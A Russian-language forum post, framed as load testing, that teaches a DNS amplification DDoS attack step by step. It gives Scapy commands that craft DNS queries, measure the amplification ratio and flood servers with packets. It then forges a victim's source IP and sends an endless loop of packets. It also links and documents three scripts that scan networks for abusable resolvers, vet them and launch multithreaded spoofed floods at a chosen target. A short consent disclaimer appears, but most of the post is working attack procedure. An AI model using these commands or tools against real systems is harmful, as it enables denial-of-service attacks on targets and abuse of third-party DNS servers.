Jump to content
Sign in to follow this  
mr.save

СТРЕСС ТЕСТИРОВАНИЕ С ИСПОЛЬЗОВАНИЕМ DNS AMPLIFICATION DDOS

Recommended Posts

DNS Amplification это один из видов DDoS атак, который основан на усилении атаки с помощью сторонних, легитимных, DNS серверов. Принцип атаки построен на том, что злоумышленник создаёт короткий запрос к стороннему DNSсерверу, но этот запрос отправляется от имени жертвы (IP spoofing, протокол UDP не проверяет отправителя), а DNS сервер отправляет ответ в сторону жертвы, который в несколько раз больше запроса. Это и позволяет провести атаку DNS Amplification, увеличив объём трафика в разы с помощью чужих DNSсерверов.

В рамках нагрузочного тестирования можно извлечь из данной атаки пользу. Например для проверки оборудования, которое должно защищать от DoS атак. Естественно для этого в качестве усиливающих DNS серверов нужно использовать только те сервера, владельцы которых дали согласие на подобное «использование» их серверов.

Для проведения тестирования нам потребуется:

Рабочая станция с установленной ОС Linux (в примерах используется Linux Debian);

Python 2.x;

Scapy;

Внешний IP адрес(проведение тестирования не возможно через NAT, т.к. UDPпакеты с подменённым адресом будут отфильтрованы при передаче их через NAT).

Поставим все требуемые пакеты:

apt-get install scapy python2.7 git

Теоритическая часть

Для начала, попробуем вручную сделать несколько запросов к DNS серверу, для этого запустим утилиту манипулирования пакетами — Scapy (пакеты нужно отправлять из-под root пользователя):

scapy

Сформируем пакет с DNS запросом:

packet = IP(dst='8.8.8.8')/UDP(sport=12345,dport=53)/DNS(rd=1,qd=DNSQR(qname='google.com',qtype='A'))

Использованные параметры:
Секция IP.
dst — получатель пакета;
Секция UDP (используются UDP пакеты).
sport — порт отправителя;
dport — порт получателя;
Секция DNS.
rd — требуется рекурсия;
qname — DNS запрос;
qtype — тип DNS запроса.

Отправим его:

sr1(packet)

sr1 — отправить один пакет и ждать ответа.

В мы получили ответ от DNS сервера с которым можем ознакомиться.

 

<ip version=4L ihl=5L tos=0x0 len=152 id=59800 flags= frag=0L ttl=46 proto=udp chksum=0x3af8 src=8.8.8.8 dst=192.168.151.12 options=[] |<UDP  sport=domain dport=domain len=132 chksum=0x1a48 |<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=6 nscount=0 arcount=0 qd=<DNSQR  qname='google.com.' qtype=A qclass=IN |> an=<dnsrr rrname='google.com.' type=A rclass=IN ttl=299 rdata='209.85.233.100' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=299 rdata='209.85.233.138' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=299 rdata='209.85.233.113' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=299 rdata='209.85.233.139' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=299 rdata='209.85.233.101' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=299 rdata='209.85.233.102' |>>>>>> ns=None ar=None |>>></dnsrr></ip>

Теперь посмотрим размер отправленного запроса и полученного пакета, для этого получим ответ в переменную, а не в STDOUT:

packetr = sr1(packet)

Сравним размеры пакетов.
Отправленный пакет:

1 len(packet)

2 56 байт

Полученный пакет:

1 len(packetr)

2 152 байта

Мы получили ответ в 2,71 (152/56) раза больше чем запрос.

Если мы найдем маленький запрос с большим ответом, то коэффициент может получиться гораздо больше (10 и более раз).
DNS запросы с большим размером пакета:

запрос корневой зоны DNS (.);

запрос доменного с множеством «A» записей (A);

запрос больших «TXT» записей;

и т.д.

Другие варианты запросов вы можете поискать самостоятельно.
В случае успешно подобранного запроса мы получим разницу в 11 раз (из потока в 10 мб/с мы можем получить 110 мб/с, но правда часть уйдёт на накладные расходы так что коэффициент усиления будет немного ниже). На этом и строится атака DNS Amplification.

Теперь нужно проверить не блокирует ли нас DNS сервер после множественных запросов (это один из методов защиты). Для этого сделаем отправку 500 пакетов без ожидания ответа и после этого отправим контрольный пакет с ожиданием ответа.

Отправка 500 пакетов:

send(packet,inter=0,verbose=0,count=500)

Использованные параметры:
send — отправить без ожидания;
inter — интервал между отправкой пакетов (0-минимальный);
verbose — без отображения;
count — количество пакетов.

Отправляем контрольный пакет:

packetr=sr1(packet,timeout=5)

Использованные параметры:
timeout — время ожидания ответа в секундах.

Если сервер ответил то, скорее всего, он может использоваться для DNS Amplification.

Остается сделать последний штрих. Отправить пакет с поддельным IP адресом в заголовке, чтобы ответы пришли тестируемому серверу, а не нам.

для этого создадим новый пакет:

packet1 = IP(src='1.1.1.1',dst='8.8.8.8')/UDP(sport=12345,dport=53)/DNS(rd=1,qd=DNSQR(qname='google.com',qtype='A'))

Использованные параметры:
src — IP адрес отправителя.

и запускаем отправку пакетов (отправка пакетов с поддельным отправителем должна производиться с устройства имеющего внешний IP адрес, потому что NAT будет блокировать отправку с неизвестных IP адресов):

send(packet1,inter=0,loop=1,verbose=0)

Использованные параметры:
loop — бесконечная отправка пакетов.

Остановить отправку можно с помощью комбинации Ctrl—C.

У нас получилось создать усиление нашего трафика в 2,71 раза с помощью DNS Amplification.

Автоматизация процесса

Нужно автоматизировать 3 процесса:

Поиск DNS серверов с большим коэффициентом усиления;

Проверка найденных серверов на отсутствие защиты от множественных запросов;

Автоматическая, многопоточная отправка пакетов на множество серверов.

Для автоматизации я написал 3 скрипта.

Скачать их можно на GitHub (https://github.com/BlackDiverX/DNSAmplification):

git clone https://github.com/BlackDiverX/DNSAmplification


dnsamplscan.py — скрипт сканирования сети для поиска уязвимых DNSсерверов;
dnsamplcheck.py — скрипт проверки DNS серверов на возможность DNS Amplification;
dnsamplification.py — скрипт для многопоточной отправки DNS запросов с возможностью спуфинга IP адреса.

dnsamplscan.py

dnsamplscan.py сканирует сегмент сети и создает список серверов с большим коэффициентом усиления.

Синтаксис:

python dnsamplcheck.py [параметры]

Параметры:
-ip — диапазон IP адресов для поиска DNS серверов;
-query — DNS запрос (По умолчанию: .) (требуется);
-querytype — тип DNS запроса (A,MX,PTR и т.д.) (По умолчанию: A);
-timeout — время ожидания ответа от DNS сервера (По умолчанию: 10 сек.);
-aratio — требуемый коэффициент усиления (По умолчанию: 0);
-output — файл со списком найденных серверов (требуется).

Пример запуска:

python dnsamplscan.py -192.168.0.0/24 -query . -querytype A -timeout 5 -aratio 10 -output servers.txt

На выходе мы получим файл servers.txt со списком серверов у которых DNSответ в разы больше чем запрос.

dnsamplcheck.py

dnsamplcheck.py проверяет список серверов на возможность использования для DNS Amplification.

Синтаксис:

python dnsamplcheck.py [параметры]

Параметры:

-input — входной файл со списком DNS серверов для проверки (требуется);
-timeout — время ожидания ответа от DNS сервера (По умолчанию 2 сек.);
-output — выходной файл со списком проверенных серверов (требуется).

Пример:

 

python dnsamplcheck.py -input servers.txt -output good-servers.txt

Этот скрипт возьмет список серверов из файла servers.txt (который создан с помощью скрипта dnsamplscan.py), проверит на возможность использования в DNS Amplification и запишет подходящие сервера в файл good-servers.txt.

dnsamplification.py

dnsamplification.py запускает нагрузочное тестирование с использованием DNS Amplification. Для проведения атаки требуется список серверов.

Синтаксис:

python dnsamplcheck.py [параметры]

Параметры:

-target — IP адрес тестируемого сервера (требуется);
-servers — файл со списком DNS серверов для усиления (требуется);
-timeout — время тестирования (в секундах) (По умолчанию: 10 сек.);
-threads — количество потоков для отправки DNS запросов (По умолчанию: 10).

Пример:

python dnsamplification.py -target 192.168.1.2 -servers good-servers.txt -timeout 100 -threads 20

Непосредственное начало атаки для стресс тестирования. В примере запускается тестирование в 20 потоков для адреса 192.168.1.2 с использованием серверов из файла good-servers.txt на 100 секунд.

Не стоит использовать чужие DNS сервера для проведения тестирования. Используйте для этого только сервера, которые разрешили использовать их владельцы.

Share this post


Link to post

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...